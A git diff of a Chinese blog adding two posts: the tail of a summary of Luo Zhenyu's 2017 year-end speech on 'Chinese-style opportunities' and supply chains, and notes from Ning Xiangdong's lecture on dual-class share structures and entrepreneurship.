+他们和顺丰的王卫都没读过大学，从最底层工作干起，一点点降低损坏率、丢件率、延误率、离职率…… + +> 浙江台州小镇诞生的古茗，现在开了 1200 家店，经营诀窍是： + +> 灯要比旁边店更亮，顾客会本能觉得更好、更干净。 + +所谓的创新，没必要走捷径，扎到最深的现实中去，遇到问题解决问题。 + +就像罗辑思维办公室的墙上的话：结硬寨，打呆仗。 + +◇◆◇ + +过去四十年，我们对于中国经济发展的基本认知是：“火车跑得快、全靠车头带”。 + +之所以称这部分内容是“动车组脑洞”，是因为从2017年发生的事来看，中国经济分明是每节车厢都有动力的动车组，车厢越多速度越快。 + +所有人都在分享这个时代的机会，也在给这个时代创造动力，这是 2017 年经济发展的独特景象。 + +罗胖采访了滴滴的总裁，柳青。 + +滴滴的成功，缘于对“技术”的点滴积累。 + +为了让用户快速打到车，滴滴不断优化算法，已经具备提前15分钟预判的能力，准确率达85%。 + +京东方，一家本土老牌国企，2001 年盯上了液晶产业，一路迭代死磕到今天，目前出货量占世界 25%。 + +期间没有技术飞跃，更重要的是必须做一遍才能获得的知识：只有结合实际、点滴积累，才能逐步提升质量和效率。 + +原来我们把中国理解成绿皮火车。 + +而今天的创新，就像动车组，每节车厢都在贡献力量，很多事并不吃力。 + +「得到」作者何帆老师认为，2017年，听到“传音手机”故事时，对他而言很重要。 + +原波导手机团队，开发了一款针对非洲市场的手机，解决了黑人自拍分辨不清的问题，在非洲占有率超 40%，全年销量过亿。 + +2017年，我们发现越来越多的中国企业，即便不依靠市场规模优势，也可以凭一身本事、平趟世界—— + +> JollyChic：一家浙江公司把长三角、珠三角数千家中小制造企业的货卖到中东，成为当地最知名电商公司，客单价极高 + +> J&T Express：原中国手机公司当地负责人创建的快递公司，短短两年跃居印尼前列 + +> BIGO LIVE：东南亚最大的直播平台，也有中国基因 + +很多中国公司，也已被欧美主流市场接受： + +中国的游戏业世界第一，腾讯还以参股的方式，几乎渗透到了全球每一家重要的游戏公司。 + +> 美国 Netflix 买下了优酷自制剧《白夜追凶》 + +> 英国的《卫报》说，郭靖将很快与《指环王》的弗罗多、《冰与火之歌》的琼恩•雪诺齐名 + +实体行业更是如此，我国新四大发明独步世界： + +这些模式在中国变形、创新、放大，然后向全球输出。在可见的未来，这些壮举还会在很多领域再现。 + +这是中国规模化全面崛起带来的竞争优势，从0到1，我们还不擅长，但从 1 到 10000 、到 N，我们独步天下。 + +你可能觉得这样的创新太过简单。简单到乏味。但是，管理大师德鲁克早就说过—— + +这确是大者越大、强者恒强的时代，但机会还很多，属于传统行业和普通人的机会也很多，这些都是“中国式机会”。 + +中国正在进入一个“平凡创新时代”，每一节动车都可以独立成章、动力惊人！ + +问：刚刚进场，怎么找到新的玩法？ + +# 第二个脑洞: 热带雨林脑洞 + +这两年，快手快速崛起，去年日活用户3000多万；现在的日活已过亿，成为最大的互联网产品之一。 + +快手的创始人宿华讲了一个拉二胡老头儿自拍的故事。 + +每个人都有孤独感，他每天直播，6万人关注他，点歌、刷礼物，他成了一个不孤独的老人。 + +快手的价值，正是为市场制造了新的连接。 + +> 高压线上的午餐，手机的出现，让这些画面能够被记录下来 + +中国这么大，每一拨人涌入互联网，都需要全新的连接器。 + +借助中国完善的网络基础设施，那些最难被连接、记录的人……那些社会末梢的人，被短视频接入进这个时代。 + +快手抓住机会成为了连接器，这样的机会绝不是最后一个。 + +中国地区发展不均衡，货车的空驶率是40%，催生出中国最大的车货匹配平台——运满满。 + +看上去，这确实是家高科技公司。 + +可是，他们的员工的地推方式，是打扮成社会人，主战场在厕所—— + +有些问题只有中国有、只有中国的公司能解决，也只有在中国能做到效益最大化。 + +2017年，得益于院线建设，小镇青年们被连接进来、裹挟着全新的力量，冲进了市场，成就了《战狼》。 + +红杉资本做了一个00后消费者调查，有些词闻所未闻—— + +与以往不同的是，00 后有钱——月均零花钱 500 元左右；人均存款 2570 元。这是不小的消费力量，就看谁有本事把他们连进市场？ + +◇◆◇ + +新玩法层出不穷，成就一拨连接器，就能诞生商业新物种。 + +你可能会说，这跟BAT原来的老玩法不是一样么？ + +老玩法主要依靠流量思维，流量这个词冷冰冰，而且已经基本瓜分完毕。 + +跨过互联网流量爆发时期，2017年，新的创业公司只好改变玩法，精耕细作。 + +商业打法也从“流量思维”转到“超级用户思维”—— + +超级用户怎么来？在芸芸众生中找到亲人，最有效的方式就是缴费。 + +“超级用户”模式的真正着眼点是“关系”，“普通用户”和“超级用户”之间的关系，就像一般女生和女朋友——向别的女生释放善意没问题，但你更关注应该是女朋友。 + +这个模式早就被美国大公司验证过了—— + +> Prime会员会费99美元/年，但会员年均消费是非会员的近两倍 + +> Costco商品销售亏损7000万美元，但会员费高达28.5亿美元 + +这个商业逻辑，越来越像是一个热心小伙儿，一年到头为街坊邻居服务，邻居们觉得小伙儿不错，给了点小费，于是小伙儿赚钱了，还不是小数目。 + +超级用户模式虽然由美国人首创，但是中国市场正在赋予它更大的想象空间。 + +> VIPKID，给小孩一对一教英语，仅 20 万超级用户，预计收入 50 亿人民币。雇佣了 3 万北美老师，2018 年底估计要雇佣到 10 万人 + +德鲁克说过：“企业的使命是创造并留住客户”。 + +这句话，在今天的“超级用户思维”里，听起来格外真切。 + +超级用户思维不止是收费模式的变化，本质上还是一种商业文明的变革。它需要为用户建立荣耀感。 + +超级用户思维，要求创业者必须转身向内，服务好超级用户，建好一座城池，不愁没人投奔。 + +「得到」运营两年，拥有了1300多万质量极高的用户，成为了超级优质用户的筛选器。 + +罗胖说，推广不是最重要的，只要坚持做两件事： + +第一，做让用户觉得长脸的事； + +第二，绝不给用户丢脸。 + +这第二个脑洞，让罗胖想到了亚马孙热带雨林的生态。 + +> 700万平方公里，是地球最大的独立生态系统，物种极为奇特，光昆虫就有250万种 + +中国有足够的规模、足够的内部多样性……不论你选择做物种连接器，还是维持一个独立小生态，都有充足的机会，都是不错的活法。 + +这是罗胖 2017 年开的第二个脑洞——“热带雨林脑洞”。 + +问：在这个快速变化的时代，如果办法跟随，是不是一定会被淘汰？ + +# 第三个脑洞: 比特化脑洞 + +2016年10月13日，马云和雷军在同一天提出“新零售”概念。2017年，刘强东提出了“新零售革命”。 + +2017 年新零售发展太快，大家搞不懂这是什么，只好加了个“新”字。 + +多家大公司涌进了新零售战场，阿里投资布局很多项目、推动线上线下融合，但新零售的演化还远未到终局。 + +就在12月15日，腾讯投资永辉超市；12月18日，腾讯和京东投资唯品会，电商格局又一次重组。 + +看来新零售的真正大戏要明年才能上演，但新零售的关键词很简单：效率。 + +新零售的本质，是让消费者“想要就要，马上就要”。货一点一点地逼近人，然而还未到想象力的极致。 + +一线城市核心区的家庭主妇已经在思考一个严肃的问题：家里还要不要冰箱？ + +从城市中心仓、到小区前置仓……有家创业公司甚至已经把超市开到了出租车上。 + +从人工智能，大数据，无人机，无人车，机器人，到楼下夫妻老婆店……村村点火、户户冒烟，全面动员。 + +这场关于效率的战争，还有更快的打法——在用户脑子里继续比拼效率，争夺认知高地。 + +2017年，小米开了 210 家线下店，到 2019 年底总共开到 1000 家。 + +以往不敢相信小米的利润空间可以支持开线下店，据说小米智能音箱售价只比成本高 1 块钱…… + +出人意料的是，小米之家的平效达到了 27万元/平米——就是每平米店面面积，每年卖出 27 万元的货。 + +这个数字仅次于苹果，全球排第二，这意味着小米线下店可以盈利。 + +小米之家如何做到如此高的平效？大数据选址、人工智能铺货……这些只是表象。 + +雷军借用户的话道破天机：“进小米之家，可以闭着眼买东西。” + +对于大部分中产阶级，小米的产品是一种最节省认知带宽，最高决策效率的产品。雷军的打法不是价格战，而是认知战！ + +小米卖东西不赚钱，靠服务、游戏可以赚钱，卖货只是小米吸引、黏住用户的手段。 + +◇◆◇ + +在这么强调效率、速度，飞速演化的新零售领域，那些没有主动跟进的人怎么样了？ + +2017年，传统产业的互联网转型焦虑，也在2017年突然消失了。 + +线下资源成了香饽饽，阿里、腾讯拼命争抢。 + +马云说，过去20年，互联网从无到有，未来30年，互联网从有到无。这个“无”，是无处不在的“无”。 + +所谓“互联网革命”，躲都躲不掉，根本不需要你转型，所有企业都变成了互联网企业，互联网已经是不可能回避的基础设施。 + +2017年，“赋能”这个词大热，湖畔大学教务长曾鸣说：“赢得未来的制胜法宝，不在于你拥有多少资源，而在于你能调动多少资源。” + +只要你握住比特世界的赋能之手，就能获得互联网基因，再无转型焦虑。 + +小米，将赋能之手伸向 90 分箱包。 + +2017年双十一箱包类目，百年品牌新秀丽排名第二，90 分第一。 + +90 分的全年广告费只有 200 万，小米生态链给了它品牌、流量……90 分从诞生到登顶只用了两年。 + +只要你有专长，最优秀的互联网公司会主动邀请你，不用急着出发，你终会“被抵达”。 + +跟不上时代变化会不会被淘汰？在比特化的世界，你只要做最好的自己，什么都不用担心。 + +新零售也是世界比特化、数字化进程的一个缩影。世界一直在变，但本质却不陌生，有两个趋势永远不变：效率会越来越高，分工会越来越细。 + +这就是罗胖在2017年开的第三个脑洞——比特化脑洞。 + +问：中国人口太多，资源太少，会不会遇到增长的天花板？ + + +# 第四个脑洞: 拔河脑洞 + +世界政治研究中心主任施展老师认为，10月20日很重要，因为这一天，坦桑尼亚批准了巴加莫约港口项目。 + +之前这里只通铁路，运行非常缓慢。一旦港口修建完成，坦桑尼亚就可以和全世界、尤其是和中国连接起来。 + +这意味着中国几亿亩的饲料用地可以转移到坦桑尼亚，这并不会威胁我们的生存，但腾出来的土地将转化成巨大经济资源。 + +还意味着沿线城市被激活，这个地区将上演深圳般的经济奇迹。 + +涉及中国“一带一路”的所有国家地区，都展现出这种可能。思考今天中国，不能局限于自身，还要放眼全球。 + +「得到」有本开脑洞的书——《超级版图》，作者康纳说，人类过去只会用两种范式来思考世界：自然地理和地缘政治。 + +但是在今天，它还能概括这个真实的世界吗？ + +> 坐高铁从北京到上海，1000公里，只需要5个小时；我从北京坐绿皮火车到张家口，176公里，也是5个多小时。请问哪个更近？ + +军事力量，能捍卫地缘政治、捍卫以国境线构成的地图。 + +可是，国境线不仅没有产生阻隔，还往往是交流最频繁的地方。 + +正如亚历山德拉·诺沃赛洛夫所言—— + +世界，也不再只是国与国的拼图，逐渐变成了由供应链连通的网络。 + +与全世界25万公里的国境线相比，基础设施的连线更值得惊叹——世界不再是分散平摊的块块，而是连起来的点点和线线，世界越来越像互联网。 + +城市化，其实就是把世界由平摊的面收缩为聚拢的点，然后连成网络。 + +当人口都聚集在城市之后，城市必须要和其他城市连接在一起才能呈现自己的价值。 + +所以，过去的城市，重要的是怎么描述自己；而未来的城市，重要的是如何强调自己在全球经济体系中的分工和定位。 + +> 近年涌现的城市名字已经发生变化 + +以块块的逻辑去理解世界，会成为世界的 bug 。例如西伯利亚，随着城市化进程中人口的迁出，基础设施越来越差，逐渐脱离国际分工网，成为资源孤岛。 + +20 年来，中国国内基础设施每年以 40% 的速度增长，用掉了全世界半数以上的水泥和钢材。 + +与此同时，中国的 50 万海外施工大军参与到了尼加拉瓜大运河、达尔文港等大量项目的规划、建设、施工中。 + +> 本次跨年演讲，幻灯片中最炫酷的动画效果 + +美国和中国的思维模式不同：美国人眼里的博弈是拳击赛、是强者的竞技，让自己强大，击倒对手、让输家下场。 + +世界已经越来越混为一体，仅在商业世界，就已经有各国千丝万缕的联系。拳击比赛的逻辑正在变得越来越艰难，因为你再也找不到具体的敌人。 + +《超级版图》这本书提出“拔河游戏”这个精彩的比方，中国人眼里的博弈，就是一场人人皆可参与的“拔河游戏”，只有让更多的人站到自己的一方，才能把供应链上高价值的部分拉过来。 + +在全球互联互通的大趋势中，中国看到了参与拔河游戏的机会。中国拥有规模优势，就具备了主导权。 + +谁主导拔河比赛？——规模大的。 + +所以不难理解，为什么中国积极参与基础设施建设、维护供应链，为什么倡导“一带一路”。 + +> 更多内容，请至 「得到」App免费领取 + +中国在拔河游戏中的优势怎么产生？ + +vivo用几百万片芯片、相比之前60倍的订单搞定了高冷的美国制造商，这是用规模去主导产业链的例子。 + +中国庞大的市场，让宝马 101 年历史里，首次把最核心部件工厂置于德国之外的地方：中国沈阳。 + +对于企业而言，或许这只是一次主动布局。但站在中国的角度看，这是拔河赛共赢的结果。 + +诺贝尔物理学奖得主尼尔斯·玻尔说—— + +如果打开拔河脑洞，你就能看懂——中国增长会不会遭遇天花板？ + +当然不会，因为在拔河游戏的规则之下，在供应链构成的互联互通的世界里，天花板根本不存在。 + +接下来，是感谢赞助商环节，罗胖说他们是全中国最知道该跟什么样的用户站在一起的品牌—— + +问：中国经济的持续性如何？ + + +# 第五个脑洞: 终点站脑洞 + +这个问题非常重要，关乎每个人的选择。 + +一直以来，中国虽然发展迅猛，但发展模式貌似并不独特。 + +对这一轮中国经济奇迹的解释，流传最广的当属日本学者提出的“雁阵模型”—— + +这个转移就好像从美国到日本，再到亚洲四小龙、中国…… + +言外之意是：中国虽然规模大，但干的是低端行业，不可能永远是“世界工厂”。 + +就连我们自己，也对此深感纠结…… + +十年过去了，预言并未应验—— + +清华大学的魏杰教授说，中国正在启动一次全新的全球化。 + +不论是日本的经验，还是西方的“比较优势理论”，都解释不了现在这个啥都做、啥都行的中国。 + +2017年，外交学院世界政治研究中心主任施展，给罗胖带来了2017年最大的一次思想冲击。 + +> 施展把这套思想体系打磨成书，《枢纽》，本次跨年演讲首发 + +对于这个问题，核心着眼点在于——到底是西方国家不愿意干？还是他们干不了？ + +> 第一次产业革命造出的火车能用至少30年； + +> 第二次产业革命造出的汽车大概能用10年； + +> 可是，本次革命，造出的手机只能用1年…… + +比特世界拖着原子世界飞速迭代，这是任何原来的制造业体系都承受不了的速度。 + +当西方国家整体进入了创新经济时，它只做观念层面创新，必须把生产流程外包，把转型的成本和风险甩给别人。 + +> 当年诺基亚引以为豪的生产线，恰恰是拖死它的沉重肉身 + +这个承包方必须能同时满足效率和弹性——这两个矛盾的要求，放眼世界制造业领域，只有中国可以做到。 + +中国的供应链网络由很多专业化、高密度的小企业形成，既有高度分工带来的效率，又有随时动态重组带来的弹性。 + +> 1 毛钱成本的打火机，可以拆成 28 个零件完成制作 + +> 有了精细化的能力，可以实现灵活对接 + +这也缘于中国超大规模的独有禀赋，恰巧在特定时间踩对了节奏。 + +◇◆◇ + +上世纪 90 年代，由于种种复杂的原因，各地兴起“开发区”“产业园”大潮，形成了很多既有“高度分工效率”又有“高度网络弹性”的企业群落。 + +大量开发区涌现，大量农民工进城……这时出现了巨大历史机遇——西方国家产业升级，出现了前面提到的创新经济。 + +于是，中低端制造业很快大量转移到中国，形成一个庞大的供应链网络。 + +「得到」专栏作者、也是投资人的王煜全老师，对未来全球分工的判断是——美国科技、中国制造、全球市场。 + +只有中国制造，才能够赋能美国创新，让美国创新落地。 + +> 10月25日，沙特阿拉伯为机器人索菲亚发了公民身份，王煜全劝说这家机器人制造商——一家美国西雅图的公司，把总部迁到中国香港，就是为了靠近中国制造业基地 + +何帆老师从另一个角度也解释过这件事，在他的「得到」专栏里就提到过——中国承接产业转移之后，“产业间贸易”变成了“产业内贸易”。 + +80年代的中国，干的就是“产业间贸易”，成品换成品，十几亿条裤子换一架飞机…… + +现在我们干的是“产业内贸易”，苹果要生产iPhone，中国分担其中的部分环节。 + +规模不再只是规模，规模本身就是能力。 + +可是，当中国的劳动力成本上升之后，产业会不会转移呢？ + +特朗普希望苹果的生产线能迁回美国，但库克的回答是—— + +只有在中国，能找到足够的人才，和满足要求的供应商。 + +如果你理解了这些，你会得到关于产业转移问题的答案：产业不会转移出去，中国制造业已经是“大者越大，强者恒强。” + +如果制造业向外转移，除非是这三种情况： + +> 1. 对供应链要求不高、对远距离物流成本非常敏感的制造业工厂（而非整个工业体系），能转走； + +> 2. 以中国为中心的供应链网络会向东南亚自然扩张（而非转移）； + +> 3. 出现无法想象的技术变革、行业大洗牌的时候……（罗胖认为短期内几乎不存在这一可能性。） + +这个“终点站脑洞”，得出一个大胆的结论—— + +中国是兼具效率和弹性的供应链网络，所以，中国成为世界工厂，不是全球制造业转移的其中一站，而是终点站。 + +问：中国能不能营造一个良性的全球空间？ + +# 第六个脑洞: 枢纽脑洞 + + + +在《枢纽》这本书中，施展老师有一个很重要的判断： + +“中国一直是世界秩序的自变量。”——只要它变了，系统也随之变化。 + +自变量说明中国的重要性，但还不能说明在全球结构中的位置。这个位置不是争来的，是世界格局演化中逐渐形成的。 + +我们来看看非洲这几十年经历： + +> 二战结束后，非洲有西方国家急需的资源，日子很好过； + +> 但在1970年石油危机之后，西方国家将经济结构转向第三产业，西方繁荣时期反而成为了非洲最悲惨的10年，屠杀、饥荒、政变…… + +西方国家和第三世界国家发展过程中产生的裂缝谁来填？——中国。 + +看一眼这个中国人最喜欢的数字，8 ，中国在哪儿？就在这个销魂的小蛮腰的部位。 + +西方国家与欠发达国家的经贸循环必须经由中国，中国是全世界的路由器，是全球经济体系的“枢纽”。 + +> 8 的下半部分，是欠发达国家，通过中国这个制造中心，把产品出口到全世界； + +> 8 的上半部分，是西方发达国家，反过来促进中国制造业和基础设施能力。 + +中国不仅向原材料产地国家输出资本和基础设施，向西方发达国家提供工业品和创新落地的机会。 + +更重要的是，中国还在参与塑造全球秩序。 + +西方不输出繁荣和秩序，就要被输入贫穷和动乱。 + +这个过程，也一定绕不过中国。 + +二战之后，西方国家直接援助非洲，但最终换来的是非洲的腐败丛生和战火不断。 + +西方国家也曾尝试绕过政府，给非洲人民提供生活用品和粮食援助，可是反而摧毁了非洲的本地经济，企业倒闭、农民破产…… + +帮助建立秩序，必须把简单的金钱援助，转为具体的经贸过程，这只有中国可以做到。 + +中国2016年对非洲的直接投资总额为 361 亿美元，占非洲外资总额的 39%，世界第一。 + +这不是简单的投资，而是把非洲和全球连接起来。 + +西方通过中国投放秩序，欠发达国家通过中国在分享全球化带来的繁荣。这就是中国的枢纽作用。 + +◇◆◇ + +把视野放大，中国作为超大规模国家，历史上一直在发挥枢纽的作用。 + +> 19世纪中期，大清帝国的海关税收做担保，通过汇丰银行筹款1500万两白银的军饷。 + +> 左宗棠西征收复新疆，安定了中亚地区的动荡局势。 + +这是一个将海洋世界的资本秩序，转化为政治秩序的例子，转化的媒介正是中国。 + +不管是古代还是当代，中国都是中介和枢纽。 + +这是中国的历史宿命、时代责任，也是我们的中国式机会。 + +> 以上中国式机会的“枢纽脑洞”，是由《枢纽》一书引发 + +> 施展老师也是《中国史纲50讲》的大师课主理人，这本书集聚了施展老师关于中国历史三千年演进逻辑的思考 + +2017年即将结束，罗胖想到了 1776 年的英国，那时的英国完全比不上欧洲强国。 + +直到瓦特改进蒸汽机引发工业革命、亚当·斯密著成《国富论》奠定经济学基础，英国走上全新的道路。 + +从一堆眼花缭乱的事实中，把一个全新的东西指认出来，这是思想的力量。 + +三个半小时，回答了六个问题，回应了六种焦虑，在六个脑洞中我们认出了六种“中国式机会”。 + +带着对中国式机会的思考，我们一起进入2018！ + +人 生 算 法 + +跨 年 之 后 + +2018年正式到来，罗胖先自拍，然后宣布发个红包。 + +> 连续登录 「得到」App30天，据说会收到罗胖的红包 + +在过去一年的最后一天，我们看到了“中国式机会”，但是——能抓住机会的终究是少数人。 + +我们还需要一套人生算法。 + +人生算法不是一把解决所有问题，需要我们具备概率的思维模式，通过不断反馈取得越来越大的成就。 + +罗胖抛出一个问题—— + +第一个按钮，一百万美元。第二个按钮，50%的机会拿到一亿美元，50%的机会什么都没有。 + +这两个按钮只能选一个，你选哪个？ + +罗胖说：如果你考虑过风险，那你的做法一定不是最好的。在真实的世界中，可以有两全的方案—— + +例如跟别人合伙，分摊风险；或者把这个机会2000万卖给别人…… + +全世界的金融机构都是为风险定价，本质上都在用这样的方式思考问题。 + +通过算法的迭代，成功的概率也在不断提高。这就是“人生算法”的力量。 + +所有真实的人生场景里，我们面对的其实都是第二种选择——任何好事，都只是“可能性”，需要通过努力、实践，还有算法，去逐渐逼近它。 + +罗胖牢牢记住了达利欧的这段话—— + +《原则》，作者是美国最著名的投资人之一瑞·达利欧，呈现了用“人生算法”驱动的生存方式。 + +人生算法的道理并不难理解，查理·芒格和巴菲特的投资和人生心得，都是人生算法。 + +喻颖正也写了一个公式： + +人生算法，就是你面对世界不断重复的最基本的套路，找到它，重复它，加强它。 + +你抓住中国式机会，就是更大概率的事件。 + +罗胖说，回看过去这三年多的创业，不仅让他摆脱油腻的中年生涯、摆脱了中年危机…… + +更重要的是找到了自己的人生算法——对知识的转述和再加工。 + +而罗辑思维、“时间的朋友”，「得到」App，都是这个算法的不断重复迭代的结果。 + +算法的力量，会给我们足够的回报。 + +2018 年已经开始，大家分头前进，各自启动自己的人生算法。 + +下次相聚时，希望每个人都会像木心先生所说的那样： + +“岁月不饶人，我也未曾饶过岁月。” diff --git a/_posts/2018-01-11-265-ab.md b/_posts/2018-01-11-265-ab.md new file mode 100644 index 0000000..7ae3865 --- /dev/null +++ b/_posts/2018-01-11-265-ab.md @@ -0,0 +1,244 @@ +--- +layout: post +title: AB股，未来商业与企业家精神 +pid: 265 +tags: [管理] +--- + +未来一定是一个群创时代 ，你要学会保护一群企业家的精神，保护一群人共同在顶端去战斗。 + +——宁向东，清华大学经济管理学院教授 + +宁向东在混沌大学授课 + +授课老师｜宁向东 + +清华大学经济管理学院教授 + +公司的权利，到底该如何分配？ + +你要知道，企业权利的安排是一个不断调整的过程，没有人知道该怎么做是最优的。所有那些给你答案的人，要么是绝世高手，要么就是绝世大骗子。 + +所以，我今天要跟大家分享的，仅是些基本的道理和逻辑，试图给你一点启示。 + +> 类别持股的秘密 + +> 京东如何“亏”出了一片天？ + +京东在美国上市后，你知道刘强东有多少好处吗？15.8%的股份，却拥有80%的投票权，这是怎么发生的？ + +根据2016年京东集团的财报，刘强东拥有两种股份：A类股（class A）与B类股（class B）。 + +A类股，与普通散户的性质一样，B类股，可以根据需要随时转化成A类股，而且更重要的是，B股的每一股，拥有20票的投票权。 + +刘强东拥有的A类股数量很少，但却拥有更多的B类股，也就是说，他拥有的投票权是压倒性多数的。 + +这就是美国的一个常见情况，双重持股。 + +包括Google 、GroupOn 、Zynga、LinkedIn、Facebook、华盛顿邮报、Berkshire Hathaway等大公司，都是这种情况： + +创始人和团队往往拥有比较多的B类股份，以便拥有更多的投票权，控制公司。 + +刘强东等中国的互联网大佬都要选择去美国上市，大部分也是这个原因。 + +> 为什么要类别持股？ + +说个例子，雅虎的创始人杨致远与Zynga的创始人Pincus，就是因为股权安排不一样，最后的结果也是天地之别，冰火两重天。 + +Zynga是美国著名的游戏公司，德州扑克、偷菜都是他们的。公司股份分为三类： + +> 发行给公众的是A类股； + +> 发行给团队的是B类股； + +> 发行给自己的是C类股。 + +读这家公司的财报，你会发现，创始人Pincus更狠： + +> 发行给公众的每一股是1票投票权； + +> 发行给团队的每股7票投票权； + +> 发行给自己的每股70票投票权； + +什么意思呢？ + +Pincus要实现对公司强控制，天下人与我为敌，我依然可以控制局面。 + +假定Pincus的持股是a，团队5%，公众就是95%减去a，如果要实现对公司的强控制，按照以上的安排，这个公式是这样的： + +70×a >35+（95-a） + +求解一下，你会得出答案：a应该大于1多一点，换句话说，创始人的股权即使稀释到了2%，依然可以对公司实行绝对的控制。 + +弱控制就是团队的弟兄们跟创始人在一起，其公式是这样的： + +70×a+35 > 95-a + +最后解出的答案是，a小于1，就是说，即便我的股份稀释到1，只要我的团队跟我在一起，我依然可以控制公司。 + +这就是最简单的因为发行了三类股份，创始人的控制力变得格外强。 + +而杨致远呢？ + +当时他只是雅虎的一名普通股东，持股数跟Pincus差不多，比1.5多一点，比2少一点，但由于没有这种相应的设置，无法驾驭大局，最终被第二大股东，即投资公司Third Point（持股只有5%）赶了出去。 + +> 类别持股的本质逻辑 + +首先，从投资人的角度讲，他投资一家上市公司而给了上市公司创始人比较多的投票权，是投资人傻吗？ + +不是。 + +投资人绝不是买股份，而是买团队，骨子里边是看准了公司的未来潜力和这个团队实现潜力的可能性。 + +其次，类别持股更有利于做大事。 + +举个例子，我有一百块钱，如果全花在研发上，就意味着我从事一个高风险的行为，如果没干成，那就真的是打水漂了。 + +但如果我只投2块钱，其他的钱都是别人的，即便是没干成，我实际损失不过是两块钱，但如果赚了，那就是用你们的钱赚来的。 + +也就是说，像研发这种长期的风险性行为，当用别人的钱干的时候，存在一个风险规避效应。 + +这也就是为什么中国有些公司是不太愿意投入研发，有些却公司花了很多钱去做研发。 + +另外一方面，如果我只投2块钱，去做研发，然后成功了，我也只分到了2%，我做这个事情值吗？这就涉及到一个激励效应的问题。 + +而在风险规避效应与激励效应中间，一定会存在一个平衡点。 + +换句话就是说，当你持股特别多的时候，你不愿意去冒风险；当你持股比较少的时候，你冒风险的激励是不足的。 + +而在中间，恰恰有一段，你的持股不多不少，索性就选择一个长期的行为和风险相对比较大的行为。 + +这就是为什么创始人用类别股份的这种方式，他可以把这个事情做成。如果创始人每年都要为自己年度的业绩要操心，他是做不成大事的。 + +比如京东，最开始就是亏，第一年的年报就是告诉你，我的亏损是不可避免的持续下去。 + +为什么？因为要扩张业务版图，而恰恰是这种亏，打出了一片天，最终变成今天的大赢。 + +> 谁有企业家精神 + +> 谁就应该有公司最多的权利 + +什么是企业家精神？ + +事实上，类别持股背后的核心是盯准企业家，保护企业家精神。 + +什么是企业家精神？我理解的就是，凯恩斯的《通论》里，讲了一个词Animal Spirit，血气。 + +什么叫做血气呢？一种发自内心的冲动，就好比一个无知者，就是干了。 + +而且，他在说他要干的时候，你觉得这个人有病吧；隔了一年，他干成了，然后你觉得好像行；过两年，你又觉得他有病，又过两年，他又成了。 + +> 赚钱一定是少数人的事 + +大家都成功了，那是瞎说，成功者永远是少数。所以你一定要爬到顶上去。 + +人类社会骨子里就是一个金字塔式的结构，只有极少数人爬到顶上，依据二八定律，分的比较多。 + +为什么说公司变成上市公司，搞不好离死更近？ + +因为一个很聪明的点子要跟蠢人去共同商量，而且在蠢人都认为可以的情况下才可以做。当蠢人都认为可以做的话，你觉得这个事还挣钱吗？ + +所以只有那个无知者无畏的兄弟干了，最后成了。当他想干的时候，其实他也不知道该怎么干，总而言之是不能像原来那么待着，要永远在路上。 + +生意就是一连串的偶然，要不断地去试错，不断地去调整。 + +> 柯达的破产 + +举个例子，伊斯曼，柯达公司创办人以及胶卷发明人，堪称“100年前的乔布斯”，一个伟大的商人，员工持股（ESOP）就是从他开始的。 + +多年来，柯达公司一直顺风顺水，直到公司交给了董事会，由于战略性判断失误，最终导致公司破产。 + +要知道，80年代，索尼的数码相机出来以后，柯达是最早感受到了数字影像对胶片行业（感光材料）的冲击，于是就开始重新定位。 + +但由于当时的企业家股权已被高度稀释，公司股东全是投资机构，大部分是外行人，得出的战略性判断就是： + +我要在数字时代成为一个数码相机的领导者。 + +于是，公司拼命挖掘电子数字领域里的牛人，但这种人一般都是从他们本身去感受这个行业，最终却丢掉了公司最核心的东西。 + +2012年1月19日，柯达公司在纽约向法院提出“破产保护申请”。 + +> 富士的重生 + +与之相反，其竞争对手富士却闯出了另外一天。 + +富士采用的方法是什么？ + +他完全没有按原来的路径突围，而是成立了一个千人研究所，每天就想一件事，咱们这点东西还能干什么？ + +所以，你看富士的报表，业务类别非常丰富： + +1）控制自由基防老化的技术，应用到制药领域； + +2）基于纳米水平的涂装技术，应用到化妆品领域； + +3）TAC是制造液晶屏幕后面偏光板的重要涂料，富士目前占有70%的市场份额。 + +这里面需要强调的关键是，突围和转型，是企业家必备的功夫。企业只有一件事是不变的，这件事情叫做变。 + +而且，你一定要搞清楚，当你的体量特别大的时候，大部队式的突围转移是不可能的，一定要化整为零： + +明确你的优势在哪里，变成小股部队转型。 + +富士二次创业神话的缔造者古森重隆，从根本上讲，应用的就是这样一个突围的思路。 + +总之，只有保护了企业家精神，企业才能搞好。企业的权利设置，一定要围绕着企业家精神做文章。 + +谁拥有最重要的资源，谁有企业家精神，谁就应该有公司最多的权利，这是第一法则。 + +未来商业的秘密 + +保护一群人共同在顶端去战斗 + +在设置公司章程时，另外非常重要的四个字是“立时而变”，一定要有一些关于公司权利变动的条款，要能够让公司不至于形成僵局。 + +> 散伙才是公司常态 + +其实，散伙才是公司的常态，为什么？ + +因为公司除了资本的联合之外，还有人力的联合。 + +比如，在资本层面，我们两个人可能是完全相同的，但在人力投入方面，你投入10%和我投入的20%可能是不相同的，我20%等价于你10% ，有可能吗？ + +此时你拥有20% ，是因为你的人力资源看上去可能更值钱一点，可如果再过五年，他10%的人力资源可能价值更大。 + +这种情况下，如果搞不定，就会散伙。人力资本是不均制的。 + +而且，我还有一个很重要的原则，不要跟朋友共同组建公司，没有好下场，或者多数情况下没有好下场，为什么？友情和利益是两个系统。 + +> 未来商业竞争的秘密 + +如果说，我们先前的竞争是在标准化的产品上，接着是努力给大家提供差异化的产品，让客户选，同时增加售后服务等，那在未来，差异化的服务将是主导，而产品更多的是配角。 + +为什么？因为大数据可以帮忙了解到人的某种差异化需求。 + +基于此，未来的组织应该是海葵型的组织。一线的人，是公司真正的拥有资源的决策者，客户成为你的同谋者。 + +怎么理解？我给你讲个例子。 + +装修过房子的人都知道，预算30万，最后没有50万做不下来，这50万是怎么产生的？ + +你只要一去工地，经理就会围着你说，这个瓷砖不错，如果换成这个更好。其实这个你一听就买不起，然后接着，他会从那个降到一个中间价格的。 + +先把你的胃口吊上去，然后再把价格相对降下来，这个超1万，觉得可以接受。 + +紧接着，他又告诉你甲醛可能超标，建议换一个，结果又超了5000。 + +最后，七加八加，30万的预算有可能就变成50万了。 + +这就叫beyond contract，超越合约，不停的加码，给你提供解决方案，满足你的需求，开发你的需求。 + +而这一切的本质就是，把你所有的“保留价格”，全部掏出来。 + +如果这个组织很有效，就会有无数像海葵的触手那样的团队，而当他们翅膀硬了，会怎样？单干，这就是我们正在遭遇的。 + +所以，当海葵型组织呈现出倒三角式的权力结构时，一线变得越来越重要。 + 